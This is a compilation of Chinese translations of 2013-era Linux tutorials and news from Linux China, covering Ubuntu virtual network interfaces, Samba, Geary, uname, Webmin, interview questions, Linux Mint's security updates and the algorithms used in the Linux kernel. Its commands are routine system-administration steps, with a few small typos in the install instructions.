Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡

Summary:
这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人，尤其是那些在（正式环境中）使用生产机器的用户。
如果你对网络运行和IP网络有所了解，你应该知道在大多数情况下，每个网卡只会分配一个IP  ...

这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人，尤其是那些在（正式环境中）使用生产机器的用户。

如果你对网络运行和IP网络有所了解，你应该知道在大多数情况下，每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。

一个网卡对应一个IP地址，你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如，如果你想在80端口运行一个web服务器，而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。

所以，网卡和IP地址并不是一对一的关系，你可以创建可以单独分配IP地址的虚拟网卡。因此，单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。

这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。

动手吧，运行下列命令打开网络接口文件。

```
sudo gedit /etc/network/interfaces

```

然后按照下图中的步骤，添加你想要的任意多的虚拟网卡。默认情况下，Linux会给第一张网卡分配eth0的名称，所以如果你的机子只有一张网卡，那么它会被命名为eth0。

添加虚拟网卡，创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。

![](/data/attachment/album/201311/27/000514r27pz2e494z4z496.png)

对于你创建的每一个网卡，也要确保网络都是不同的子网，这是网络常识（译注：事实上并非如此，虚拟网卡完全可以是相同子网的IP地址，只要你需要）

完成以后，保存文件并用下列命令重启网络服务。

```
sudo service networking restart

```

就是这样!

![](/data/attachment/album/201311/27/0005148h9m5cfhwcu9c0c5.png)

玩得开心!

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/>

译者：[Luoxcat](https://github.com/Luoxcat) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


每日Ubuntu小技巧-更改Samba工作组和计算机名

Summary:
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单，但当你接触新事物时，你需要时间来完全理解它。
这是我们前几天收到的问题；

如何更改Samba的工作组名和Ubuntu的计算机名称？

对于大多数Ubuntu用 ...

这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单，但当你接触新事物时，你需要时间来完全理解它。

这是我们前几天收到的问题；

>
> 如何更改Samba的工作组名和Ubuntu的计算机名称？
>
>
>

对于大多数Ubuntu用户，改变他们的计算机名称是极少发生的事情，更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。

当涉及到在Ubuntu中更改计算机名时，我们曾写过一个简单的帖子，可以点击[这里](http://linux.cn/article-2199-1.html)找到。按照这个[怎样修改你的计算机名字](http://linux.cn/article-2199-1.html)的简易指南来实现目的。

也许还有其他方法来改变你在Ubuntu中的计算机名，但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器，你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。

在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时，运行以下命令来编辑的Samba的配置文件。

```
sudo gedit /etc/samba/smb.conf

```

打开这个文件后，请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如，如果你希望工作组变成UBGP，将WORKGROUP替换成UBGP，并保存该文件。在大多数情况下，你必须重启动计算机以使之生效。

![](/data/attachment/album/201311/27/001855q11h38zyqtfqm8sv.png)

以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住，如果你这样做是为了共享或访问Windows文件和文件夹，还必须安装Samba。没有Samba，你将难以与Windows共享文件。

运行下面的命令安装Samba。

```
sudo apt-get install samba

```

欢迎回来掌握更多的Ubuntu小技巧。

尽情享受吧！

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/>

译者：[crowner](https://github.com/crowner)，[whatever1992](https://github.com/whatever1992) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


Canonical Dev称Linux Mint“脆弱”，不要将其用于网银

Summary:
一位Canonical公司工程师建议：基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。
Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个  ...

**一位Canonical公司[工程师建议](https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html)：基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。**

Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ，Oliver Grawert说。

>
> “不去马上整合Ubuntu提交的那些修正，而是拒绝这些软件包的（安全）更新。我要说，强制保持一个有缺陷的内核、浏览器或xorg，而不是允许安装更新补丁，这会变成一个易受攻击的系统，（原文如此）”。
>
>
> “就我个人而言，我不会用它做网银操作。”
>
>
>

当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法：

>
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，Mint需要花好几个月才能得到一个Firefox的修正版，而Ubuntu和Debian已经早在他们的包上打了安全补丁。
>
>
> 这将置Linux Mint用户处于危险中，也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。”
>
>
>

Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师，他比大多数人更了解自己在说什么。

那么Mint的用户存在实际风险么？

半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”（这个词更好一些）都是有记录和已知的，虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在，至少现在，在理论上是很有可能的。

也就是说，没有发生**已知的**由于使用Mint发行版（或任何其他基于Ubuntu的未打补丁的发行版）并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。

但是，仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户，并不能说明其他人永远不会这么做。

**看到Ubuntu持续被提及有关自身的（主要是理论上）隐私问题后，至少它还穿着另外一只鞋子，我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。**

*请注意：我们已经向Linux Mint征求意见及澄清，答复将在后继文章发表。*

---

via: <http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure>

译者：[whatever1992](https://github.com/whatever1992) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


每日Ubuntu小技巧：一款轻量级的Email阅读器Geary

Summary:
正如大家所知，Ubuntu 本身自带可以收发邮件的客户端Thunderbird，当然它也支持Gmail，Yahoo Mail，Microsoft Outlook 等等支持IMAP协议的邮件服务。
Thunderbird 是一个功能强大的邮件客户端，只要email客户端所需  ...

正如大家所知，Ubuntu 本身自带可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail，Microsoft Outlook 等等支持IMAP协议的邮件服务。

Thunderbird 是一个功能强大的邮件客户端，只要email客户端所需要的功能，它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端，Geary 是一个不错的选择。

Geary 是一个界面简洁，能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必点击鼠标来切换消息。

Geary 还支持IMAP 协议，所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。

以Ubuntu 13.10用户为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。

```
sudo apt-get install geary

```

在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA源。

```
sudo add-apt-repository ppa:yorba/ppa

```

接下来运行以下命令来升级系统和安装Geary 。

```
sudo apt-get update && sudo apt-get install geary

```

第一次启动Geary时，你需要设置你的Gmail，Yahoo 或 Microsoft 电子邮件帐户。

![](/data/attachment/album/201311/28/13131154f7h1z7033x7u3u.png)

设置非常的简单，只要输入你的账号信息，Geary 就会自动配置好你的账号。

若想卸载Geary ，首先要从系统中移除它的PPA源，要运行的命令如下。

```
sudo add-apt-repository -r ppa:yorba/ppa

```

然后再运行以下命令卸载Geary 。

```
sudo apt-get remove geary

```

就这么简单~

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/>

译者：[NearTan](https://github.com/NearTan) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


九个uname命令获取Linux系统详情的实例

Summary:
当你在控制台模式下，无法通过鼠标右键  关于获取操作系统的信息。这时，在Linux下，你可以使用uname命令，帮助你完成这些工作。 Uname是unix name的缩写。在控制台中实际使用的时候只需键入uname。

当你输入uname  ...

赞！！不过我想知道在安装Git lfs的时候怎么根据这些信息选择安装哪一个版本呢？

可以讲一下Git lfs的这几个版本的意思吗？尤其是后两个的区别

Linux 386

Linux ARM64

Linux AMD64

当你在控制台模式下，无法通过“鼠标右键 > 关于”获取操作系统的信息。这时，在Linux下，你可以使用**uname**命令，帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。

![](/data/attachment/album/201311/28/133107waaiialkaazaaa0u.png)

当你输入uname不带参数时，它仅仅显示你的操作系统的名字。

```
# uname

Linux

```

也许这还不能满足你的需要。所以你需要加上一些参数，来使uname显示你所需要的信息。

以下是uname参数的列表:

### 1. 内核名称

你可以用**-s**参数，显示内核名称。（译注：可以在其他的类Unix系统上运行这个命令看看，比如mac就会显示Darwin）

```
# uname -s

Linux

```

输出信息会跟uname不带参数时输出的一样。

### 2. 内核发行版

如果你想知道你正在使用哪个内核发行版（指不同的内核打包版本），就可以用**-r**参数

```
# uname -r

2.6.18-371.1.2.el5

```

### 3. 内核版本

除一些内核信息外，用**-v**参数uname也能获取更详细的内核版本信息（译注：不是版本号，是指该内核建立的时间和CPU架构等）。

```
# uname -v

#1 SMP Tue Oct 22 12:57:43 EDT 2013

```

### 4. 节点名

参数 -n 会提供给你节点的主机名。举例来说，如果你的主机名是“dev-machine”，**-n**参数就会把主机名打印出来。

```
# uname -n

dev-machine

```

对于RedHat和CentOS用户来说，你也可以通过**/etc/redhat\_release**文件来查看：

```
# cat /etc/redhat_release

CentOS release 5.10 (Final)

```

如果不是基于RedHat的发行版，你可以查看**/etc/issue**文件.类似如下：

```
# cat /etc/issue

Linux Mint Olivia \n \l:

```

### 5.硬件名称

如果你想知道用的是哪类机器，你可以尝试**-m**参数。它将告诉你关于硬件的信息。

```
# uname -m

i686

```

i686表明了你用的是32位的操作系统，如果是X86\_64则表明你用的是64位的系统。

### 6. 硬件平台

与硬件名称类似，-i参数会显示你的硬件平台（译注：硬件名称i686是属于硬件平台i386系列的）。

```
# uname -i

i386

```

同样，i386意味这是正在运行一个32位的系统，如果输出的是X86\_64则说明你正在运行一个64位的系统。

### 7. 处理器类型

你可以用**-p**参数查看处理器类型。如果uname无法识别，它会显示 ‘unknown’ 作为输出。

```
# uname -p

i686

```

### 8. 操作系统

uname也可以透露你正在运行的操作系统信息，用**-o**参数可以实现这个目的。

```
# uname -o

GNU/Linux

```

### 9. 所有信息

有一个参数可以展示所有的信息！这就是**-a**参数，它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。

```
# uname -a

Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux

```

以上就是关于uname命令的使用。请敬请期待更多的命令！

谢谢阅读！

---

via: <http://linoxide.com/linux-command/uname-command/>

译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


11个Linux基础面试问题

Summary:
Q.1: Linux 操作系统的核心是什么?

Shell
Kernel
Command
Script
Terminal

答: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器，命令（Command）是针对计算机的指令，脚本(Script)是存储在文件中  ...

### Q.1: Linux 操作系统的核心是什么?

* Shell
* Kernel
* Command
* Script
* Terminal

>
> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器，命令（Command）是针对计算机的指令，脚本(Script)是存储在文件中的命令的集合，终端(Termial)是命令行接口。
>
>
>

### Q.2: Linus Torvalds 都创建过什么东东?

* Fedora
* Slackware
* Debian
* Gentoo
* Linux

>
> **答**: Linux Torvalds 创建了Linux，Linux是所有上述操作系统的核心，同样也是其他一些Linux 操作系统的核心。
>
>
>

### Q.3: Torvalds，使用C++语言编写了Linux内核的大部分代码，是这样吗?

>
> **答**: 不! Linux内核包含了12,020,528行代码，其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
>
>
>

剩下的1,972,615行则是使用C++，汇编，Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。

**注**：代码行数每天都在变动，平均每天超过3,509行代码添加到内核。

### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来比其他操作系统移植的硬件平台都多，是这样吗 ？

>
> **答**: 是的，我同意。Linux那时候是为x86机器写的，而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着，远程遥控，太空科学，研究，Web，桌面计算等等，举之不尽。
>
>
>

### Q.5: 编辑 Linux 内核合法吗?

>
> **答**: 是的，内核基于GPL发布，任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件（FOSS）。
>
>
>

### Q.6: UNIX和Linux操作系统，本质上的不同在哪里？

>
> **答**: Linux操作系统属于免费开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件（FOSS）无关，BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。
>
>
>

### Q. 7: 挑出来一个与众不同的来.

* HP-UX
* AIX
* OSX
* Slackware
* Solaris

>
> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
>
>
>

### Q.8: Linux 不会感染病毒吗?

>
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称，是的，甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个，而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
>
>
>

### Q.9: Linux 属于哪种类型的操作系统?

* 多用户
* 多任务
* 多线程
* 以上所有
* 以上都不是

>
> **答** : 以上所有。Linux是一个支持多用户，可以同时运行多个进程执行多个任务的操作系统。
>
>
>

### Q.10: 一般的 Linux 命令的语法格式是：

* command [选项] [参数]
* command 选项 [参数]
* command [选项] [参数]
* command 选项 参数

>
> **答** : Linux 命令的正确语法是, Command [选项] [参数]。
>
>
>

### Q.11: 挑出来一个与众不同的来.

* Vi
* vim
* cd
* nano

>
> **答** : cd 与其他命令不同。Vi，vim和 nano都是编辑器，用于编辑文档，而cd是用于切换目录的命令。
>
>
>

就这么多了。上述问题你学到手几个？效果如何？我们期待着你的评论。下周，会有新的问题，让我们拭目以待。保持健康，锁定链接，记得来**Tecmint**哦。

---

via: <http://www.tecmint.com/basic-linux-interview-questions-and-answers/>

译者：[l3b2w1](https://github.com/l3b2w1) 校对：[jasminepeng](https://github.com/jasminepeng)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何使用图形界面Webmin管理linux服务器

Summary: 一台典型的linux服务器运行命令行环境中，并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，仅需要少量的设置无疑是一个优点  ...

一台典型的linux服务器运行命令行环境中，并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，仅需要少量的设置无疑是一个优点。

如果你习惯了使用基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如GNOME、KDE等，与它们提供的功能相比，其所占用的系统资源负担是很不值得的，而且还不够安全，因为越多的代码越会带来安全弱点。

另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具，如 [Webmin](http://www.webmin.com/)、[ISPconfig](http://www.ispconfig.org/)、[Zentyal](http://www.zentyal.org/)等。

在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。

Webmin 是一个用Perl语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载[模块](http://www.webmin.com/standard.html)来扩展其功能。

### Linux服务器上安装Webmin

在 Ubuntu 或 Debian 系统中安装Webmin， 你可以使用如下命令。

```
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo dpkg -i webmin_1.660_all.deb

```

在CentOS 或 RHEL 系统中安装Webmin， 使用如下命令：

```
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo rpm -U webmin-1.660-1.noarch.rpm

```

### 使用 Webmin

安装好Webmin之后，你可以通过在浏览器中输入 https://<主机的IP地址>:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被拦截。

同时， 请注意你应该使用 HTTPS， 而不是 HTTP。 否则， 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。

一旦你进入了Webmin登录页面， 你可以使用root身份登录 （当然需要输入root账户密码）或者使用具有root权限的任何用户账户登录。 登录成功后， 你可以看到如下Linux服务器的状态信息。

[![](/data/attachment/album/201311/30/085715hnc11x7qzlo2eo01.jpg)](http://www.flickr.com/photos/xmodulo/10937800943/)

### Webmin 的特点

Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍，让你们大体了解它的一些重要功能。

设置引导时自动启动的服务， 同时显示他们相关配置信息。

[![](/data/attachment/album/201311/30/085719iwz5z9fhl3gm5vjj.jpg)](http://www.flickr.com/photos/xmodulo/10937589506/)

实时监控服务器状态和其他服务， 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等， 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。

[![](/data/attachment/album/201311/30/085721sndsxns2f7g5hd25.jpg)](http://www.flickr.com/photos/xmodulo/10937589676/)

配置 iptables-based firewall。

[![](/data/attachment/album/201311/30/085723ivn4nvd3en5cnzqs.jpg)](http://www.flickr.com/photos/xmodulo/10937801173/)

配置本地路由表和网关。

[![](/data/attachment/album/201311/30/085725rn3jzpp4cmzumct8.jpg)](http://www.flickr.com/photos/xmodulo/10937531925/)

挂载和配置文件系统。

[![](/data/attachment/album/201311/30/085727qer2zklaoko7fwyx.jpg)](http://www.flickr.com/photos/xmodulo/10937589556/)

通过文件管理接口来查看和修改本地文件，但是这需要浏览器有相关的java插件。

[![](/data/attachment/album/201311/30/0857305do9zpdnoddlnbd9.jpg)](http://www.flickr.com/photos/xmodulo/10937531975/)

通过改变Webmin的相关配置，你可以控制管理 IP 地址，添加/删除 Webmin 功能模块，开启双因子认证来使用安全登录功能，或者创建证书验证等。

[![](/data/attachment/album/201311/30/0857320o9e15zeuheip29v.jpg)](http://www.flickr.com/photos/xmodulo/10937532015/)

---

via: <http://xmodulo.com/2013/11/manage-linux-server-gui.html>

译者：[thinkinglk](https://github.com/thinkinglk) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


那些算法在哪里？

Summary: 本文来源于一篇stackexchange的问题回答。提问者问到，我们在计算机科学和数学课程里面学习到的那些算法，到底在什么地方用到了？结果Vijay D给出一个洋洋洒洒的深入回答，得到了提问者和众多围观。我们将这篇回答翻 ...

本文来源于一篇stackexchange的[问题](http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/)回答。提问者问到，我们在计算机科学和数学课程里面学习到的那些算法，到底在什么地方用到了？结果[Vijay D](http://cstheory.stackexchange.com/users/4155/vijay-d)给出一个洋洋洒洒的[深入回答](http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773)，得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。

![](/data/attachment/album/201311/30/182019yhnv4yipj17ljli9.gif)

[Vijay D](http://cstheory.stackexchange.com/users/4155/vijay-d)写到：

在我看来，一个系统背后主要发挥作用的算法更容易在非算法课程上找到，这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中，很少有实际问题能够精确匹配到一个抽象问题。归根结底，我认为没有理由让流行的算法课程，诸如Strassen乘法，AKS素性测试、或者Moser-Tardos算法与底层实际问题，如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因，我不会忽略简单随机算法或者PageRank。

我想你可以选择任何一个大型软件，并在内部找到它所采用的基础和高级的算法。作为一个研究案例，我选择了Linux内核，并会示例一些Chromium里面的例子。

### Linux内核中的基本数据结构和算法

Linux内核([源代码的链接在github](https://github.com/mirrors/linux-2.6))。

1.[链表](https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c)、[双向链表](https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h)、[无锁链表](https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h)。

2.[B+ 树](https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c)，这是一些你无法在教科书上找到的说明。

>
> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。
>
>
> ...
>
>
> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧，所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。
>
>
>

3.[优先排序列表](https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h) 用于 [互斥量](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h)、[驱动](https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c)等等。

4.[红黑树](https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h)[用于](http://lwn.net/Articles/184495/)调度、虚拟内存管理、追踪文件描述符和目录项等。

5.[区间树](https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h)

6.[根树](https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h)用于[内存管理](http://lwn.net/Articles/175432/)，NFS相关查询和网络相关功能。

>
> 根树的一个通用的用处是存储指针到结构页中。
>
>
>

7.[优先级堆](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h)，如其名称的教科书实现，用于[cgroup](https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h)。

>
> 《简单的基于CLR的只插入的，含有指针的定长优先级堆》第七章
>
>
>

8.[哈希函数](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h)，参考了Knuth和一篇论文。

>
> Knuth建议，用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性：
>
>
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf](ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf)
>
>
> 这些素数的选择是位稀疏的，他们可以通过移位和加法操作，而不必使用乘法器，乘法器是很慢的。
>
>
>

9.有的代码，比如[这个驱动](https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c)，实现了他们自己的哈希函数。

>
> 使用了一种旋转哈希算法的哈希函数
>
>
> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973
>
>
>

10.[哈希表](https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h)用于实现[inode](https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c)、[文件系统完整性检测](https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c)等等。

11.[位数组](https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h)用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。

12.[信号量](https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h)和[自旋锁](https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h)

13.[二分查找](https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c)用于[中断处理](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c),[寄存器缓存查询](https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c)等等。

14.[B树的二分查找](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c)。

15.[深度优先搜索](https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c)被广泛地用于[目录配置中](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c)。

>
> 执行一个修改过的命名空间树的深度优先遍历，以指定的start\_handle节点开始（及结束）。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值，搜索将会立即终止并且将其返回给调用者。
>
>
>

16.[广度优先搜索](https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c)用于检测运行时锁定的正确性。

17.链表中的[归并排序](https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c)用于[垃圾收集](https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c)、[文件系统管理](https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c)等等。

18.[冒泡排序](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c)在一个驱动库中也有一个令人惊讶的实现。

19.[Knuth-Morris-Pratt 字符串匹配](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c),

>
> 根据Knuth、Morris和Pratt[1]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本，其匹配时间是O(n)，对于长度为m的模式(pattern)，仅使用一个辅助函数PI[1 . .m]，预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说，对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") [2]。既然PI只有m个记录，而DELTA有O(m |SIGMA|)个记录，在预处理时间计算PI而不是DELTA的时候，我们可以节省一个因数|SIGMA|
>
>
> [1] Cormen, Leiserson, Rivest, Stein，算法介绍，第二版，MIT出版社
>
>
> [2] 见有限自动机原理
>
>
>

20.[Boyer-Moore 模式匹配](https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c)是在找替代品时的参考和建议。

>
> 实现了Boyer-Moore字符串匹配算法:
>
>
> [1] 《一个快速的字符串搜索算法》，R.S. Boyer and Moore.计算机通信协会，20(10), 1977, pp. 762-772. <http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf>
>
>
> [2] 《准确的字符串匹配算法手册》，Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf](http://www-igm.univ-mlv.fr/%7Elecroq/string/string.pdf)
>
>
> 注:由于Boyer-Moore(BM)从右到左搜索匹配，仍然有可能匹配分布在多个块，在这种情况下该算法并没有优势。
>
>
> 如果你希望确保这样的事情永远不会发生，那使用Knuth-Pratt-Morris(KMP)实现。总之，根据您的设置适当地选择字符串搜索算法。
>
>
> 如果你正在用文本搜索器进行过滤，NIDS或任何类似的注重安全的目的，那么使用KMP。否则，如果你真的关心性能，并且你对数据包进行分类以使用服务质量(QoS)政策，当你不介意匹配可能分布分散，那么用BM。
>
>
>

